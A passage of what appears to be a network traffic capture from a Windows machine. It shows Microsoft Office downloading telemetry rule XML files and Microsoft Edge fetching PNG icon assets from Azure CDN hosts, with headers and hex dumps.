encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.6	49894	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:37 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:37 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:37 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 141f8a5a-601e-000d-3b74-272618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010737Z-16849878b78wv88bk51myq5vxc00000004ng0000000068hd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-28 01:07:37 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.6	49895	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:37 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:37 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:37 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: c3d8694b-101e-0046-45a3-2691b0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010737Z-16849878b787bfsh7zgp804my4000000035g000000004drp x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 01:07:37 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.6	49896	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:38 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:38 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:38 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: 7b68ac53-d01e-0082-7e67-27e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010738Z-16849878b786fl7gm2qg4r5y7000000004k000000000eqkr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-28 01:07:38 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.6	49904	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:38 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:38 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:38 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: 9800c975-801e-008c-0e2c-267130000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010738Z-17c5cb586f6g6g2sbe6edp75y400000006e000000000325y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 01:07:38 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.6	49901	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:38 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:38 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:38 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: 19ae2231-801e-007b-0d9c-27e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010738Z-16849878b78tg5n42kspfr0x48000000049g00000000epd6 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 01:07:38 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.6	49905	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:38 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:38 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:38 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: 54290c1c-d01e-008e-01bf-27387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010738Z-16849878b787wpl5wqkt5731b4000000051g00000000dvn5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-28 01:07:38 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.6	49906	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:38 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:38 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:38 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: 28718399-201e-0003-7628-26f85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010738Z-17c5cb586f6zrq5bnguxgu7frc000000052g000000006457 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 01:07:38 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.6	49907	13.107.246.57	443	5076	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:38 UTC	438	OUT	GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-28 01:07:38 UTC	536	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:38 GMT Content-Type: image/png Content-Length: 1579 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:08 GMT ETag: 0x8DBDCB5DE99522A x-ms-request-id: d414cbbc-701e-0005-7e90-289c78000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241028T010738Z-16849878b78p8hrf1se7fucxk8000000056g0000000090v7 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-28 01:07:38 UTC	1579	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 c0 49 44 41 54 78 01 ed 58 4f 8b 5c 45 10 af 7a f3 66 66 15 c5 fd 00 42 66 f2 05 b2 22 c2 1e 54 d6 4f 90 15 c1 63 d8 e0 49 04 37 01 11 11 25 89 e0 d5 04 0f 1a f0 e0 e6 62 c4 cb 1e 44 50 21 b8 df 20 7b f0 4f 6e 1b 4f 8b 20 cc 7a 89 b3 ef 75 57 f9 ab ea 9e 37 cb 66 77 66 36 93 83 84 ad a4 d3 fd de eb 79 fd 7b bf fa 55 75 75 88 4e ed d4 9e 20 5b d9 dc ed 2d df de ed d1 63 34 a6 39 6c e5 fb c1 4a 54 39 2f 42 ab 22 d2 8b 91 54 a2 92 d4 91 63 90 6d 09 74 57 2a fd fc b7 77 9e df a6 47 b4 47 02 b8 f2 f3 60 29 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxXO\EzffBf"TOcI7%bDP! {OnO zuW7fwf6y{UuuN [-c49lJT9/B"TcmtW*wGG`)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.6	49912	13.107.246.57	443	5076	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:38 UTC	431	OUT	GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-28 01:07:39 UTC	523	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:39 GMT Content-Type: image/png Content-Length: 1966 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:31 GMT ETag: 0x8DBDCB5EC122A94 x-ms-request-id: f701e7ff-101e-0051-2bd5-2876f2000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241028T010738Z-17c5cb586f6g6g2sbe6edp75y400000006cg000000005bbq Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-10-28 01:07:39 UTC	1966	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 43 49 44 41 54 78 01 ed 97 5b 68 5c 75 1e c7 7f ff 73 f9 9f 49 d2 49 4f da 98 b4 6a d7 d9 c5 16 bc b0 4e c1 bd c8 6e d8 99 07 1f 74 1f 9a e0 2a 15 77 d7 06 0b 82 0f d5 3c 54 10 1f 3a 41 d0 2a 8a 2d 55 29 68 4d 14 1f 6a d3 92 3c 28 58 45 92 fa d0 0a 82 8e 48 14 6a 6b 53 d0 b4 21 4d e7 cc 64 6e 67 ce cd ef ef 64 4e 48 ed c5 74 d2 e8 4b 7f c3 9f ff b9 cd 39 9f f3 fd ff 6e 87 e8 ba 2d cd c4 62 2f 1c 1a 1a 4a 29 8a b2 c9 f3 bc 44 10 04 3c c8 71 1c 0b fb 59 8c af 71 6e a4 b7 b7 d7 a2 6b 6c bf 0a 38 3c 3c fc Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaCIDATx[h\usIIOjNntw<T:A-U)hMj<(XEHjkS!MdngdNHtK9n-b/J)D<qYqnkl8<<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.6	49908	13.107.246.57	443	5076	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:38 UTC	433	OUT	GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-28 01:07:39 UTC	516	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:39 GMT Content-Type: image/png Content-Length: 1751 Connection: close Last-Modified: Tue, 17 Oct 2023 00:34:33 GMT ETag: 0x8DBCEA8D5AACC85 x-ms-request-id: 28027cef-b01e-003a-3dd5-282ba4000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241028T010738Z-16849878b78j5kdg3dndgqw0vg000000062g00000000668z Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-10-28 01:07:39 UTC	1751	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 06 6c 49 44 41 54 78 01 ed 98 4d 6c 54 55 14 c7 cf 9d ce b4 52 09 42 85 b8 40 ed f3 23 44 37 0a b8 32 71 01 71 a1 89 1b dc 08 3b ab 0b 64 87 b8 30 84 10 3a c3 c2 a5 1a 57 b8 52 16 26 6e 8c 10 3f 91 c5 a0 a2 21 0d d1 c6 18 63 34 9a 91 b8 c0 40 6c a1 ed cc 7b ef 7e 1c ff e7 de fb e6 4d 3f a0 1f d4 e8 a2 17 5e de eb ed 9b f7 7e f7 7f ce f9 9f 3b 25 5a 1b 6b e3 bf 1d 8a 56 71 d4 cf f2 2e 36 34 ca 44 bb d8 11 15 07 71 cf 19 ff 71 ad 08 3f 3b 4b 13 4e bb 3f 74 27 1f cf 3a d4 38 71 68 5d eb 5f 03 3c 76 86 9f c7 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAalIDATxMlTURB@#D72qq;d0:WR&n?!c4@l{~M?^~;%ZkVq.64Dqq?;KN?t':8qh]_<v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.6	49911	13.107.246.57	443	5076	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:38 UTC	433	OUT	GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-28 01:07:39 UTC	523	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:39 GMT Content-Type: image/png Content-Length: 1427 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:36 GMT ETag: 0x8DBDCB5EF021F8E x-ms-request-id: 0de0a0a4-201e-0016-3dd5-28a999000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241028T010738Z-17c5cb586f6f8m6jnehy0z65x400000003p0000000001p7w Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-10-28 01:07:39 UTC	1427	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 28 49 44 41 54 78 01 ed 57 cd 6b 24 45 14 7f af 67 86 c4 5d cd 8e 9b 05 d1 3d ec e8 1f 20 5e 3d 28 eb 41 04 41 44 10 3c 66 d1 53 92 d3 42 40 72 da 11 84 5c b3 7f 80 24 39 48 40 d4 8b 17 2f b2 e2 1f a0 1e 25 a7 01 11 16 17 35 1f f3 d1 dd d5 55 cf 57 df d5 d3 eb 4e 5a f0 22 53 a1 52 9d 57 5d ef fd de ef 7d 74 05 60 39 96 63 39 96 e3 3f 1d 08 ff 62 1c 1f 1f df e6 e5 9e 52 ea 15 5e fb bc 02 11 99 a9 9f f5 e4 41 52 4a 74 7b df f3 7a 77 7b 7b fb 67 68 39 5a 03 3c 3a 3a da 40 c4 43 0f ea 1f 56 3d 34 38 e2 89 Data Ascii: 